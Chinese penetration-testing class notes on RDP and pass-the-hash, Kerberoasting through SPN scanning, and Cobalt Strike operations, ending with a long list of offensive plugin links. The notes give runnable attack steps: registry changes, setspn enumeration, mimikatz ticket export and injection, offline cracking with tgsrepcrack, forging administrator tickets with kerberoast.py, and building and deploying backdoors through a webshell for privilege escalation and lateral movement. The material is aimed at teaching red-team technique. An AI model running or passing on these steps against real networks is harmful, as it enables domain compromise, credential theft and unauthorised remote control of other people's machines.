这节课主要讲spn和rdp协议,
rdp是什么,rdp是一个远程的链接协议,在linux上面就是ssh协议,
我们在前期信息收集的时候,得到一些hash值和明文密码可以进行一些相关协议的链接的,比如之前讲的ipc,vmi,smb协议,除了这些,rdp协议也是可以进行链接的,
rdp协议对应的开放端口就是3389
明文密码连接时很简单得可以直接xin+r输入mstsc调用出来远程连接窗口,
2.mstsc.exe /console /v:192.168.3.21 /admin
3.linux: rdesktop 192.168.3.21:3389
用hash也可以链接,但是有部分系统有还要执行一下这个命令
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
就比较鸡肋
rdp协议判断;判断对方是否开启了3389端口即可,端口扫描
参考链接,https://www.cnblogs.com/backlion/p/8082623.html?
spn扫描也可以叫扫描Kerberos服务实例名称,
他的攻击流程在思维导图里面写了,探针spn服务,请求服务票据,导出服务票据,破解服务票据,重写服务票据,吃西瓜
设计的服务;mssql,wsman,exchange,iermserv,hyper-v host等等,在参考里面有详细
一般spn攻击可以通过网络端口扫描,通过端口开放可以判断内网主机的一些其他服务,不过进行端口扫描可能会遇到防火墙,比如在用namp扫描的时候遇到防火墙就会扫描不准确;
spn扫描就可以避免这个防火墙,他扫描是走的Kerberos服务,走的地方不一样,SPN查询是普通Kerberos票据的一部分,不会触发防火墙,杀软,
攻击流程,探针spn服务((看一下有那些服务),请求服务票据(根据不同的服务,选择要操作的服务,然后请求),导出服务票据(请求之后会建立会话连接,在用工具把数据导出来),破解服务票据(导出来之后数据的加密形式是可以破解的,通过破解找到这个链接的东西),重写服务票据,吃西瓜
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
以下操作都在PowerShell进行?
探针
setspn -q */*
可以看到域内主机的详细服务目标,
setspn -q */* | findstr "MSSQL"
这个命令就是寻找特定的服务,这个就是寻找的mssqk服务,
然后删除别的票据
请求
Add-Type -AssemblyName System.IdentityModel
????New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "[服务名]"
再查看凭据
这就多了一条刚刚的请求凭据,产生了票据之后再用mimikatz给他导出来
也可以使用mimikatz请求
????mimikatz.exe "kerberos::ask /target:[服务名]"?
请求之后就会产生出凭据
导出
用mimikatz导出来,
mimikatz.exe "kerberos::list /export"
破解
用一个python脚本写一个字典爆破、
因为在破解的时候,是利用到一个脚本,最好还是在自己本机上破解,
把要爆破的凭据复制到爆破文件的目录来
???python3?.\tgsrepcrack.py .\[密码文件.txt]?.\[凭据.kirbi]
????python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvcSrv-DB-0day.0day.org1433-0DAY.ORG.kirbi?
然后直接运行它爆破
域控的服务被请求的时候,会自动进行验证,所以里面就有密码信息,密码就包含在凭据里面,
重写
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
-p后面跟的是得到的密码,-r就是凭据 ,-w重写成一个凭据文件 ,-u就是用户的编号,500是值得管理员的编号
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
-g值得是组,512就是管理员组
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存
他就是伪造了一个管理员用户,管理员组的用户的票据进行链接
但是我们在这种服务破解,破解的服务账户并不是管理员账户
链接上去之后权限也比较小,但是管理员账户的破解不了的,在这个协议里面不显示
?把前面涉及到的东西,总结了,在实战情况下,我们的一个操作,全部实战操作,把会遇到问题都解决掉
CobaltStrike4.0用户手册:
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2?
CobaltStrike也成为多人认证工具,也叫打枪工具,
简单介绍;他呢有一个团队服务器,可以通过任意终端连接到靶机上,可以建立一个多人攻击一个靶机的场景,
面对的内网环境
大概流程:
启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透?
这个工具需要java环境,自己装一下jdk和java
来到那个工具目录下,启动文件,在文件名字后面跟上服务器ip和密码,这个密码后续链接工具会用到
公共服务区配置好之后,在来到自己的本机,启动CobaltStrike
输入服务器ip,端口不用变,账户随便输一个,密码输入服务器设置的密码
就启动完成了,它可以理解为是一个远控工具,然后这个工具又带有一些渗透功能。
这个工具就是先控制电脑,控制服务器,然后在在肉鸡上面做一些操作
然后这个工具是多人操作的,有时候需要区分谁搞的那个肉鸡,这个就可以通过配置一个监听器解决,从你这个监听器过来的就是你的主机,而从别的监听器过来的,就是别人的肉鸡,监听器就是配置木马的传输的管道,
常见的就是dns,http,smb,c2;这里老师选择的c2
然后配置一下基本信息,名字,ip,端口,然后就生成监听文件,进入监听状态,然后就是生成后门文件
红色框框的这个是windows64位的后门文件;ms office是宏病毒,这个病毒是插入到word类的文件;我们选择就用windwos倒数第二个后门
64兼容模式选择上,
然后后门绑定好监听器,
然后利用webshell把后门文件,上传到肉鸡上面,运行它
肉鸡上线,还打开试图看一下基础信息
在视图界面,选中机器右键。“Interact”,打开命令行终端;“Session”,链接的管理和笔记等功能;中间是包括端口扫描、黄金票据、运行MimiKatz等常用功能?
自带的提权只有两个,所以要加载一些插件,
点击加载这个插件,然后再点upload加载上,之后提权哪里的选项就多了
选择这个ms14-058,直接提权操作
提权速度过慢:
选择“Session”“Sleep”,设置为1或者0 ,直接把延关掉
探针内网架构 net view
选择“View”“Targets”,会展示所有已探测的信息?
输入“net computers”,探测所有的机器的名字与IP
输入“net dclist”,获取当前域控的信息
输入“net user”,获取当前用户信息
输入“shell net user /domain”,加“shell”调用cmd执行命令,得到域内所有用户的名字
选择“Access”“Run Mimikatz”或者输入“mimikatz”来运行mimikatz
选择“View”“Credentials”,会展示mimikatz收集的密码信息?
回到“Targets”界面,选中一台机器,右键“Jump”,选择合适的攻击方法进攻。这里以“psexec”为例
?
ssh是linux的等等
用系统权限的主机去链接,选择后监听器,账户密码可以根据刚刚获取的套用试试
然后发现这台电脑,他没有联网,我们该怎么拿下他呢
这时候域内有另一台主机,是开启外网的,我们在去攻击那台主机,
这台肉鸡就上线了
问题;
可以upload上传工具
自助工具;如果提权成功(没成功也可以上传吖),可以通过上次其它第三方的软件进行辅助(这里把Ladon上传上去)?
Ladon一款用于大型内网渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。?
代理问题;
刚刚老师为了链接效果,给每一台主机都开外网了,但是外网一关,就下线了,这该怎么办。
这就涉及到代理
而对于那个没有开外网的主机,是正向链接还是反向链接好呢?
看到这个图,sqlserver就是没有开外网的靶机,webserver是有一个外网可以对外链接,但是webserver有内网网卡是可以和sqlserver正常链接,这时候我们就可以,让sqlserver把数据传输给webserve,在让webserver传输给我,
反向代理
但这里有一个问题,结果回显不过来,这就需要到代理隧道,
关于试图自动化功能讲解
涉及资源:
kerberos中的spn详解:https://www.cnblogs.com/backlion/p/8082623.html
kerberoast:https://github.com/nidem/kerberoast
taowu-cobalt-strike(插件-小迪精选):https://github.com/pandasec888/taowu-cobalt-strike
Cobalt?Strike?4.0手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2
红队实战演练环境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码:taqu
Erebus(插件-小迪使用):https://github.com/DeEpinGh0st/Erebus
(Cobalt?Strike插件):https://github.com/rsmudge/Elevatekit
(Cobalt?Strike插件):https://github.com/harleyQu1nn/AggressorScripts
(Cobalt?Strike插件):https://github.com/bluscreenofjeff/AggressorScripts
(Cobalt?Strike插件):https://github.com/michalkoczwara/aggressor_scripts_collection
(Cobalt?Strike插件):https://github.com/vysecurity/Aggressor-VYSEC
(Cobalt?Strike插件):https://github.com/killswitch-GUI/CobaltStrike-ToolKit
(Cobalt?Strike插件):https://github.com/ramen0x3f/AggressorScripts
(Cobalt?Strike插件):https://github.com/FortyNorthSecurity/AggressorAssessor
(Cobalt?Strike插件):https://github.com/threatexpress/persistence-aggressor-script
(Cobalt?Strike插件):https://github.com/threatexpress/aggressor-scripts
(Cobalt?Strike插件):https://github.com/branthale/CobaltStrikeCNA
(Cobalt?Strike插件):https://github.com/gaudard/scripts/tree/master/red-team/aggressor
(Cobalt?Strike插件):https://github.com/001SPARTaN/aggressor_scripts
(Cobalt?Strike插件):https://github.com/Und3rf10w/Aggressor-scripts
(Cobalt?Strike插件):https://github.com/rasta-mouse/Aggressor-Script
(Cobalt?Strike插件):https://github.com/vysec/Aggressor-VYSEC
(Cobalt?Strike插件):https://github.com/threatexpress/aggressor-scripts
(Cobalt?Strike插件):https://github.com/threatexpress/red-team-scripts
(Cobalt?Strike插件):https://github.com/vysecurity/CVE-2018-4878
(Cobalt?Strike插件):https://github.com/harleyQu1nn/AggressorScripts
(Cobalt?Strike插件):https://github.com/bluscreenofjeff/AggressorScripts
(Cobalt?Strike插件):https://github.com/QAX-A-Team/CobaltStrike-Toolset
(Cobalt?Strike插件):https://github.com/ars3n11/Aggressor-Scripts
(Cobalt?Strike插件):https://github.com/michalkoczwara/aggressor_scripts_collection
(Cobalt?Strike插件):https://github.com/killswitch-GUI/CobaltStrike-Toolkit
(Cobalt?Strike插件):https://github.com/ZonkSec/persistence-aggressor-script
(Cobalt?Strike插件):https://github.com/rasta-mouse/Aggressor-Script
(Cobalt?Strike插件):https://github.com/RhinoSecurityLabs/Aggressor-Scripts
(Cobalt?Strike插件):https://github.com/Kevin-Robertson/Inveigh
(Cobalt?Strike插件):https://github.com/Genetic-Malware/Ebowla
(Cobalt?Strike插件):https://github.com/001SPARTaN/aggressor_scripts
(Cobalt?Strike插件):https://github.com/gaudard/scripts/tree/master/red-team/aggressor
(Cobalt?Strike插件):https://github.com/branthale/CobaltStrikeCNA
(Cobalt?Strike插件):https://github.com/oldb00t/AggressorScripts
(Cobalt?Strike插件):https://github.com/p292/Phant0m_cobaltstrike
(Cobalt?Strike插件):https://github.com/p292/DDEAutoCS
(Cobalt?Strike插件):https://github.com/secgroundzero/CS-Aggressor-Scripts
(Cobalt?Strike插件):https://github.com/skyleronken/Aggressor-Scripts
(Cobalt?Strike插件):https://github.com/tevora-threat/aggressor-powerview
(Cobalt?Strike插件):https://github.com/tevora-threat/PowerView3-Aggressor
(Cobalt?Strike插件):https://github.com/threatexpress/persistence-aggressor-script
(Cobalt?Strike插件):https://github.com/FortyNorthSecurity/AggressorAssessor
(Cobalt?Strike插件):https://github.com/mdsecactivebreach/CACTUSTORCH
(Cobalt?Strike插件):https://github.com/C0axx/AggressorScripts
(Cobalt?Strike插件):https://github.com/offsecginger/AggressorScripts
(Cobalt?Strike插件):https://github.com/tomsteele/cs-magik
(Cobalt?Strike插件):https://github.com/bitsadmin/nopowershell
(Cobalt?Strike插件):https://github.com/SpiderLabs/SharpCompile 作者:shtome https://www.bilibili.com/read/cv14802167/ 出处:bilibili
fa
cai